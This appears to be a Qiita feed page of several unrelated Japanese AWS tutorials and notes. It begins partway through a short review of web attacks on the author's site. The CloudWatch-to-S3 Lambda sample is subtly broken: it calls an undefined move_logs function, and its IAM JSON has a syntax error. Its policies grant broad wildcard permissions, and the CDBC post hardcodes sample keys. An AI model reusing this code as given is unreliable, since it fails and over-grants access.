xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:46 +0000] "GET /index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:46 +0000] "GET / HTTP/1.1" 200 3451 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"

ThinkPHPという、中国で人気のPHPのフレームワークの脆弱性を狙った攻撃だそうです。こちらのブログに、該当脆弱性の説明が詳しく載っています。一言でまとめると、OSコマンドインジェクションのようなものが可能になってしまう脆弱性だそうです。

まとめ

ツールの脆弱性をつく攻撃が多かったです。サーバーにインストールしているツールは、こまめにアップデートする必要がありそうです。

攻撃の中でも、WordpressやPHPを狙ったものが多かったです。これらはシェアが高いだけに、攻撃にさらされる機会も増えるのかもしれません。

また、私のウェブサイトのように、コンテンツが一切なく誰からもアクセスされないようなものであっても、しっかり攻撃が来ていました。サイバー攻撃を他人事だと思わず、誰もがしっかり対策するべきなのだと実感させられました。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

AWS EC2インスタンスの複製をしてみた。その1(備忘録)

AWSを勉強しています。

EC2インスタンスのSnapshotをとり、バックアップの複製に挑戦しました。
その備忘録となります。

まず、AWSのマネージメントコンソールを開き、AWSサービスからEC2を選択。
step1.png
これからベースとなるEC2インスタンスを作成します。
〇で囲まれた”インスタンスの作成”のボタンを押して、インスタンスの作成を開始します。
step2.png
インスタンスの作成を開始すると、初めにインスタンスの基礎となるOSのマシンイメージを選択します。
今回は無料枠のLinuxのAMI(Amazon Machine Image)を選択します。
step3.png
インスタンスタイプの選択では、先ほど選択したAMIの中身の詳細仕様を設定します。
CPUやストレージなど、あらかじめ決められた仕様のインスタンスタイプから選択します。
今回はt2.microを選択します。
step4.png
インスタンスの詳細設定では、インスタンスの周りの詳細設定となります。
ここではIAM(Identity and Access Management)のようなインスタンスに対するアクセス制限や、EC2インスタンスが置かれるVPCおよびVPC内のサブネットの設定など、様々な設定が出来ます。
今回はデフォルトのままにしておきます。

その2に続きます。https://qiita.com/Bikeiken-IT/items/5cf4bb3203ce27faf567

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

DockerでローカルのLambda実行環境を用意する。

はじめに

ファイルの中身のみ記載します。

ディレクトリ構造

.
├── docker-compose.yml
├── lambda
    ├── sample
        └── index.js

docker-compose.ymlの内容

version: '3'

services:
  addData:
    container_name: sample-lambda
    image: lambci/lambda:nodejs12.x
    volumes:
      - ./lambda/sample:/var/task
    ports:
      - 9001:9001
    environment:
      AWS_DEFAULT_REGION: XXXXXXXX
      AWS_ACCOUNT_ID: YYYYYYYY
      DOCKER_LAMBDA_WATCH: 1
      DOCKER_LAMBDA_STAY_OPEN: 1
    command: index.handler

index.jsの内容

const aws = require("aws-sdk");

exports.handler = async (event, context) => {
    context.succeed({
        statusCode: 200,
        body      : JSON.stringify('hallo sample!'),
    });
};

いざ実行!

dockerの起動

docker-compose up

レスポンス確認

別タブで実行

curl -d '{}' http://localhost:9001/2015-03-31/functions/sample/invocations

レスポンス

{"statusCode":200,"body":"\"hallo sample!\""}

終わりに

デプロイなんかもDocker使ってできるみたいですね。
時間があれば、そちらも記載したいと思います:relaxed:

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

無料枠でGAEとAESを使ってみる

Nuxt + Firebase + Elasticsearch 勉強用Qiita まとめ
ローカル環境でFirebaseとElasticsearchをつなぐnodeとElasticsearchを構築できました。

これを本番環境に落とし込むためnodeをGAEに、ElasticsearchをAmazon Elasticsearch Serviceに移行してみました。

GCPとAWSに触るのは初めてだったのでかなり大変でした。

GAE (Google App Engine)

Projectのセットアップはこちらのサイトを参考にしました
Google App Engine Node.jsを試してみる。 GAE/Node.js
App Engine スタンダード環境で Node.js を使用するためのクイックスタート

app.yamlはこちらのサイトを参考にしました。
Google App Engineを無料で運用する方法(2018年版)

AES (Amazon Elasticsearch Service)

AESの立ち上げはこちらのサイトを参考にしました。
AWS再入門 Amazon Elasticsearch Service編

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

ArchiveRule Filterの設定値一覧

はじめに

この記事はAWS re:Inventで発表されたAccess Analyzerに関する記事です。
ArchiveRule Filterの設定値の対応表です。

本題

AWS CLIとCloudformationでArchiveRuleを作成するときに、
公式ドキュメントに値一覧が見つからなかったのでまとめました。

Access Analyzerのドキュメント
CLI: https://docs.aws.amazon.com/cli/latest/reference/accessanalyzer/index.html
Cloudformation: https://docs.aws.amazon.com/ja_jp/AWSCloudFormation/latest/UserGuide/AWS_AccessAnalyzer.html

日本語(GUI) 設定値(CLI)
Googleオーディエンス condition.accounts.google.com:aud
プリンシパルARN condition.aws:PrincipalArn
プリンシパルOrgID condition.aws:PrincipalOrgID
プリンシパルOrgパス condition.aws:PrincipalOrgPaths
ソースアカウント condition.aws:SourceAccount
ソースARN condition.aws:SourceArn
送信元IP condition.aws:SourceIp
ソースVPC condition.aws:SourceVpc
ソースVPCE condition.aws:SourceVpce
ユーザーID condition.aws:UserId
Cognitoオーディエンス condition.cognito-identity.amazonaws.com:aud
FacebookアプリID condition.graph.facebook.com:app_id
発信者アカウント condition.kms:CallerAccount
Lambdaイベントソーストークン condition.lambda:EventSourceToken
KMSキーID condition.s3:x-amz-server-side-encryption-aws-kms-key-id
AmazonアプリID condition.www.amazon.com:app_id
AWSアカウント principal.AWS
正規ユーザー principal.CanonicalUser
フェデレーションユーザー principal.Federated
リソース resource
リソースタイプ resourceType

値の取得方法

マネジメントコンソール上でArchiveRuleを全ての設定で作成し、
AWS CLIのget-archive-ruleで設定を取得してください。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Amazon Web Services (AWS)サービスの正式名称・略称・読み方まとめ #21 (IoT)

Amazon Web Services (AWS)のサービスで正式名称や略称はともかく、読み方がわからずに困ることがよくあるのでまとめてみました。

Amazon Web Services (AWS) - Cloud Computing Services
https://aws.amazon.com/

全サービスを並べたチートシートもあるよ!

Amazon Web Services (AWS)サービスの正式名称・略称・読み方チートシート - Qiita
https://qiita.com/kai_kou/items/cb29d261c8acc49fd22a

まとめルールについては下記を参考ください。

Amazon Web Services (AWS)サービスの正式名称・略称・読み方まとめ #1 (コンピューティング) - Qiita
https://qiita.com/kai_kou/items/a6795dbab7e707b0d1a6

間違いや、こんな呼び方あるよーなどありましたらコメントお願いします!

Internet of Things (IoT) - IoT

AWS IoT Core

Amazon FreeRTOS

AWS IoT Analytics

AWS IoT Device Defender

AWS IoT Device Management

AWS IoT Events

AWS IoT Greengrass

AWS IoT SiteWise

AWS IoT Things Graph

AWS IoT 1-Click

他のまとめ

Amazon Web Services (AWS)サービスの正式名称・略称・読み方まとめ #1 (コンピューティング) - Qiita

Amazon Web Services (AWS)サービスの正式名称・略称・読み方まとめ #2 (ストレージ) - Qiita

Amazon Web Services (AWS)サービスの正式名称・略称・読み方まとめ #3 (データベース) - Qiita

Amazon Web Services (AWS)サービスの正式名称・略称・読み方まとめ #4 (開発者用ツール) - Qiita

Amazon Web Services (AWS)サービスの正式名称・略称・読み方まとめ #5 (セキュリティ、アイデンティティ、コンプライアンス) - Qiita

Amazon Web Services (AWS)サービスの正式名称・略称・読み方まとめ #6 (暗号化と PKI) - Qiita

Amazon Web Services (AWS)サービスの正式名称・略称・読み方まとめ #7 (機械学習) - Qiita

Amazon Web Services (AWS)サービスの正式名称・略称・読み方まとめ #8 (マネジメントとガバナンス) - Qiita

Amazon Web Services (AWS)サービスの正式名称・略称・読み方まとめ #9 (移行と転送) - Qiita

Amazon Web Services (AWS)サービスの正式名称・略称・読み方まとめ #10 (モバイル) - Qiita

Amazon Web Services (AWS)サービスの正式名称・略称・読み方まとめ #11 (ネットワーキングとコンテンツ配信) - Qiita

Amazon Web Services (AWS)サービスの正式名称・略称・読み方まとめ #12 (メディアサービス) - Qiita

Amazon Web Services (AWS)サービスの正式名称・略称・読み方まとめ #13 (エンドユーザーコンピューティング) - Qiita

Amazon Web Services (AWS)サービスの正式名称・略称・読み方まとめ #14 (分析) - Qiita

Amazon Web Services (AWS)サービスの正式名称・略称・読み方まとめ #15 (アプリケーション統合) - Qiita

Amazon Web Services (AWS)サービスの正式名称・略称・読み方まとめ #16 (ビジネスアプリケーション) - Qiita

Amazon Web Services (AWS)サービスの正式名称・略称・読み方まとめ #17 (サテライト) - Qiita

Amazon Web Services (AWS)サービスの正式名称・略称・読み方まとめ #18 (ロボット工学) - Qiita

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

CloudWatchのログを、Lambdaで定期的にS3に移動させる

はじめに

AWSのシステムのログを集めるのには、CloudWatchを使うのが便利です。私は仕事では、EC2インスタンスにCloudWatch Agentをインストールして、各種アプリケーション(NginxとかTomcatとか)のアクセスログやエラーログとかを、CloudWatch Logsに流すようにしています。

しかし、CloudWatch Logsにログを保管するのは料金が結構かかるので、定期的に古いログはS3に移したいです。そこでこの記事で、CloudWatchのログをLambdaを使って定期的にS3に移動させる方法をまとめておきます。

csl.png

各種設定

Lambdaの設定

まずは、移動処理をするコードをデプロイするLambdaに適切な権限をつけます。以下のような権限を設定したIAM Roleを、Lambdaに設定します。

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "cloudwatch:*",
            "Resource": "*"
        },
        {
            "Action": [
                "s3:Get*",
                "s3:Put*",
                "s3:List*",
            ],
            "Resource": [
                "*"
            ],
            "Effect": "Allow"
        },
        {
            "Effect": "Allow",
            "Action": [
                "logs:CreateLogGroup",
                "logs:CreateLogStream",
                "logs:PutLogEvents",
                "logs:CreateExportTask",
                "logs:DescribeLogGroups",
                "logs:Get*"
            ],
            "Resource": "*"
        }
    ]
}

S3に読み込みと書き込みをする権限を、CloudWatchのログを読み込む権限とタスクを作成する権限を、つけておきます。

Lambdaにデプロイするコード(Python)

Pythonでコードを書くと、以下のような感じになります。標準ライブラリ以外では、boto3を使用しているので、デプロイする際は以下のコードと一緒にzipファイルにまとめてアップロードします。

import boto3
import datetime
import time

# ロググループを検索する際のクエリ―
PREFIX = 'test-'
# ログを保管するs3バケット
S3_BUCKET = 'test_bucket'
# ログを保管するs3のディレクトリ
S3_DIR = 'logs'

def main(event,context):
    '''
    メインで呼び出される関数
    '''
    # boto3のクライアント
    client = boto3.client('logs')
    # ロググループのリストを取得
    log_groups = get_log_group_list(client)
    # ログ内容をs3に保管
    move_logs(client,log_groups)

def get_log_group_list(client):
    '''
    ロググループの情報のリストを取得
    '''
    should_continue = True
    next_token = None
    log_groups=[]
    # 一度で全て取り切れない場合もあるので、繰り返し取得する
    while should_continue:
        if next_token == None:
            # 初回のリクエストの場合
            response = client.describe_log_groups(
                logGroupNamePrefix=PREFIX,
                limit=50
            )
        else:
            # 二回目以降のリクエストの場合
            response = client.describe_log_groups(
                logGroupNamePrefix=PREFIX,
                limit=50,
                nextToken=next_token
            )
        # 取得した結果を、リストに追加
        for log in response['logGroups']:
            log_groups.append(log)
        # またリクエストを投げるべきかどうかを判定
        if 'nextToken' in response.keys():
            next_token = response['nextToken']
        else:
            should_continue = False
    return log_groups

def create_export_task(client,log_groups):
    '''
    ログ内容をs3に移動
    '''
    # 現在時刻を取得し、UNIX timeに変換
    time_now = datetime.datetime.now()
    unix_time_now = int(time_now.timestamp())
    # ロググループの数だけ繰り返し
    for log in log_groups:
        for x in range(20):
            try:
                response = client.create_export_task(
                    fromTime=0,
                    to=unix_time_now,
                    logGroupName=log['logGroupName'],
                    destination=S3_BUCKET,
                    destinationPrefix=S3_DIR
                )
            except:
                # 既にタスクがある場合は、ちょっと待ってから再実行
                time.sleep(20)
                continue

上の方で定義している変数PREFIXには、ログを移行したいロググループの先頭の文字列を指定します。ここでは"test-"で始まるロググループのログをS3に移すように設定しています。

main()関数が、実行時に呼び出されます。この関数は、以下の二つの関数を順番に呼び出します。

  • get_log_group_list()関数で、内容をS3に移管したいロググループの情報を取得し、配列に格納します。注意したいのは、boto3の仕様上ロググループは一度に最大50個までしか取得できないことです。そのためここでは、一度にすべてのロググループ情報を取得できない場合は再度リクエストを投げるようにしています。
  • create_export_task()関数では、実際にログ移動のタスクを作成のリクエストを投げています。注意したいのは、タスクは同時に二つ以上作成できないということです。そのためリクエストを連続して送るとboto3のExceptionが発生してしまうため、それをキャッチして数十秒後に再度リクエストを投げ直しています。

S3の設定

最後に、ログをエクスポートしたいS3のバケットの設定を行います。以下のjsonをポリシーとして設定します。

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Service": "logs.ap-northeast-1.amazonaws.com"
            },
            "Action": "s3:PutObject",
            "Resource": "*"
        },
        {
            "Effect": "Allow",
            "Principal": {
                "Service": "logs.ap-northeast-1.amazonaws.com"
            },
            "Action": "s3:GetBucketAcl",
            "Resource": "*"
        }
    ]
}

これを指定し忘れると、"An error occurred (InvalidParameterException) when calling the CreateExportTask operation: GetBucketAcl call on the given bucket failed. Please check if CloudWatch Logs has been granted permission to perform this operation."というエラーが、Lambdaの関数実行時に発生してしまいます。エラーメッセージ的には、CloudWatch LogsにIAM Roleをつけなきゃいけないかのようなミスリーディングなものになっているので、戸惑いました。

最後に

CloudWatchのcronを用いて、作成したLambda関数を定期的に実行するように設定すれば、例えば毎日CloudWatchのログをS3に移動させることとかもできます。

ただし、一点注意があります。ログエクスポートのタスクは時間がかかるため、10個以上のロググループを一気にエクスポートしようとすると、Lambdaの最大の実行時間である15分を超えた処理時間がかかってしまうということです。不便です。

一気に大量のログをs3に移動させるなら、Lambdaを使うのではなくEC2の中でcronのジョブとして実行するのがいいのかもしれません。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Elastic Beanstalk デプロイする時にハマったところ(Rails)

はじめに

Rails アプリケーションを Elastic Beanstalk を使ってデプロイするときにハマって時間がかかってしまったことを箇条書きにしてみました。
"Elastic Beanstalkはデプロイがすぐできる。"なんて嘘だーと一瞬思いましたが、ポイントさえ押さえておけば、本当に一瞬でデプロイできるようになりますので、ぜひ使ってみてください。

関連リンク

Elastic Beanstalk 関連のリンクを下記に載せておくので、必要であれば参考にしてください。。

Elastic Beanstalk

ハマったところ

  • 文字コード(日本語の場合、utf8 へ変更必要)
  • セキュリティグループ (Mysql2::Error: Can't connect to MySQL server on '**********************' (4))
    • EC2 と RDS を別のVPC/サブネット上に置く方法
    • RDS のセキュリティグループに EC2 からのアクセスを許可する。
  • rails db:createをやってくれない?
    (Mysql2::Error: Unknown Databese'********')

    • 下記コマンドにて、自分でMySQLに接続して、DB作成。
    • MySQL への接続(EC2上で(eb ssh))
      • mysql -h ****MySQLのエンドポイント?(RDS)***** -P 3306 -u sakaes -p
    • DB作成
      • create database **************;
  • initializers/carrierwave.rb 用に beanstalk へS3設定を追記

まとめ

ただエラーを時系列に羅列しただけになってしまいましたが、同じような羅列された情報に自分が助けられたことがあるので、
困っている他の方の役に立てばと思い投稿させていただきました。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

AWS Elastic Beanstalk をなんとなく理解する

■概要
https://docs.aws.amazon.com/ja_jp/elasticbeanstalk/latest/dg/Welcome.html
- インフラについて学習することなく、AWS クラウドでアプリケーションをデプロイし、管理。
- 自動的に容量のプロビジョニング、負荷分散、拡張、およびアプリ状態のモニタリングといった処理をする
- Go、Java、.NET、Node.js、PHP、Python、Ruby で開発されたアプリケーションをサポート
- ワークフローは、create app → upload version → launch env → manage app

■create app~ 大体の流れ
https://docs.aws.amazon.com/ja_jp/elasticbeanstalk/latest/dg/GettingStarted.CreateApp.html
https://labo.ysreading.co.jp/2017/01/24/aws-elastic-beanstalk-%E5%88%9D%E3%82%81%E3%81%A6%E3%81%AE%E6%A7%8B%E7%AF%89/

■概念
https://docs.aws.amazon.com/ja_jp/elasticbeanstalk/latest/dg/concepts.html

環境枠は環境で実行するアプリのタイプを指定し、それをサポートするためのリソースを決定する。
- HTTP リクエストを処理するアプリは、ウェブサーバー環境枠で実行
- Amazon SQS キューからタスクを引き出す環境は、ワーカー環境枠で実行
- ローリングのポリシー、バッチサイズとは?/ローリング更新について
https://docs.aws.amazon.com/ja_jp/elasticbeanstalk/latest/dg/using-features.rollingupdates.html
[バッチサイズ]、[最小キャパシティー]、[停止時間]、[ローリング更新のオプション] を設定

■優先順位(複数のソースの設定オプションはどのような順位付けとなるか)
https://docs.aws.amazon.com/ja_jp/elasticbeanstalk/latest/dg/command-options.html#configuration-options-precedence

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

.net アプリケーションからAWS RDSへの接続 (CDBC使用)

概要

CDBCを使って.net アプリケーションからRDSへ接続の構築手順。今回はOracle Databaseへの接続例。
※Cdbc (Cloud Database Connectivity) は.net アプリケーションからCloud Databaseに接続するための.NETライブラリ。公式ページ:https://www.cdbc.cloud/

構成図

image.png

構築手順

※Cdbcの構築設定手順を記述します、VPC,EC2,RDS,ACLなどの部分を割愛させてください。

 1. Cdbc Service 構築

 1.1 Install IIS

下記の公式資料を参照
https://www.cdbc.cloud/setupservice/installiis/

WCF使用なので下記の作業必須です。
Step 7:
"WCF Services" - "HTTP activation" 有効化

Step 9
"application development"の"ASP.NET 4.6" 有効化

 1.2 CDBCサービスをデプロイ

下記の公式資料を参照
https://www.cdbc.cloud/setupservice/deployservice/

 2. Cdbc Service 設定

最小限3箇所設定すれば Cdbc Service 動作します。
公式資料:
https://www.cdbc.cloud/setupservice/configservice/

 2.1 ユーザー認証関連設定 (userAuthentication)

 2.1.1 authMethod

認証方法の設定。

authMethod 説明
None ユーザー認証なし。
※疎通テストやプライベート接続など以外の場合非推奨
Basic IIS 基本認証使った場合Basicに設定。
UserPsk ユーザー事前共有キー方式認証。
※authenticatedUsersに定義してuserIdとuserPskのリストを使って認証

 2.1.2 authenticatedUsers

authenticatedUsersは、userIdとuserPskのペアのリスト。
※authMethod="UserPsk"の場合のみauthenticatedUsersを設定します。
各属性の説明:
https://www.cdbc.cloud/setupservice/configservice/#authenticatedusers

 2.1.3 設定例: (authMethod="UserPsk")

    <userAuthentication authMethod="UserPsk">
      <authenticatedUsers>
        <add userId="testuser" userPsk="xxC2FxmyF2rY2K8f" comment=""/>
      </authenticatedUsers>
  </userAuthentication>

 2.2 アプリケーション認証関連設定 (clientApplicationAuthentication)

 2.2.1 authMethod

アプリケーション認証方法の設定。
| authMethod | 説明|
| ---- | ---- |
| None| アプリケーション認証なし。|
| ApplicationPsk| アプリケーション事前共有キー方式認証。
※authenticatedApplicationsに定義してapplicationIdとapplicationPskのリストを使って認証 |

 2.2.2 authenticatedApplications

authenticatedApplicationsは、applicationIdとapplicationPskのペアのリスト。
※authMethod="ApplicationPsk"の場合のみauthenticatedApplicationsを設定します。
各属性の説明:
https://www.cdbc.cloud/setupservice/configservice/#authenticatedapplications

 2.2.3 設定例: (authMethod="ApplicationPsk")

<clientApplicationAuthentication authMethod="ApplicationPsk">
      <authenticatedApplications>
        <add applicationId="testappli" applicationPsk="EoQSKkfReZMO685E" comment="" />
      </authenticatedApplications>
</clientApplicationAuthentication>

 2.3 接続文字列を設定 (connectionStrings)

接続するデータベースの接続文字列を設定。

例:

    <connectionStrings>
      <add name="oracletest" 
           connectionString="Data Source=(DESCRIPTION =(ADDRESS_LIST =(ADDRESS = (PROTOCOL = TCP)(HOST =  dev01.********.ap-northeast-1.rds.amazonaws.com)(PORT = 1521)))(CONNECT_DATA =(SERVICE_NAME = ORCL)));Persist Security Info=True;User ID=****;Password=****;" 
           providerName="Oracle.DataAccess.Client"/>
    </connectionStrings>

3. Clientアプリケーション作成

3.1 サンプルアプリ作成

3.1.1 Visual Studio 起動、CdbcTest を作成 (Windows Form application)

image.png

3.1.2 NugetからCdbc.Data最新版をインストール

image.png

image.png

3.2 サンプルアプリ設定

3.2.1 app.config 設定

app.configにsystem.serviceModelセッションを追加。
サンプル設定から変更する必要があるのはendpointのaddressだけ。
※今回IIS匿名認証、http接続のケースで設定する。そのたのケースのサンプルは下記のページを参照
IIS匿名認証:
https://www.cdbc.cloud/examples/configuration/anonymousauthconfig/
IIS基本認証:
https://www.cdbc.cloud/examples/configuration/basicauthconfig/

サンプル

  <system.serviceModel>
    <bindings>
      <basicHttpBinding>
        <binding name="CdbcService" maxReceivedMessageSize="5798464" />
      </basicHttpBinding>
    </bindings>
    <client>
      <endpoint address="http://*************/CdbcService/CDBCService.svc"
                binding="basicHttpBinding"
                bindingConfiguration="CdbcService"
                contract="CdbcService.ICdbcService"
                name="CdbcService.ICdbcService"  />
    </client>
  </system.serviceModel>

3.3 動作確認

3.3.1 テスト用コード

           CdbcConnection conn = new CdbcConnection();

            conn.DatabaseProduct = Cdbc.Common.Data.Type.DatabaseProductType.Oracle;
            conn.ConnectionString = "oracletest";

            conn.UserId = "testuser";
            conn.UserPsk = "xxC2FxmyF2rY2K8f";

            conn.ApplicationId = "testappli";
            conn.ApplicationPsk = "EoQSKkfReZMO685E";

            conn.Open();

            CdbcCommand cmd = new CdbcCommand("select banner from v$version", conn);

            try
            {
                CdbcDataAdapter adap = new CdbcDataAdapter(cmd);
                DataSet ds = new DataSet();
                adap.Fill(ds);

                if (ds.Tables.Count > 0 && ds.Tables[0].Rows.Count > 0)
                {
                    for (int iRow=0;iRow< ds.Tables[0].Rows.Count; iRow++)
                    {
                        Console.WriteLine( ds.Tables[0].Rows[iRow][0]);
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("Exception:");
                Console.WriteLine(ex.Message);
            }

下記の属性をService側の設定に合わせる

属性
conn.DatabaseProduct Cdbc.Common.Data.Type.DatabaseProductType.Oracle
conn.ConnectionString "oracletest"
conn.UserId "testuser"
conn.UserPsk "xxC2FxmyF2rY2K8f"
conn.ApplicationId "testappli"
conn.ApplicationPsk "EoQSKkfReZMO685E"

3.3.2 結果

image.png

select banner from v$version の実行結果を表示されていること確認できました。

補足説明

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む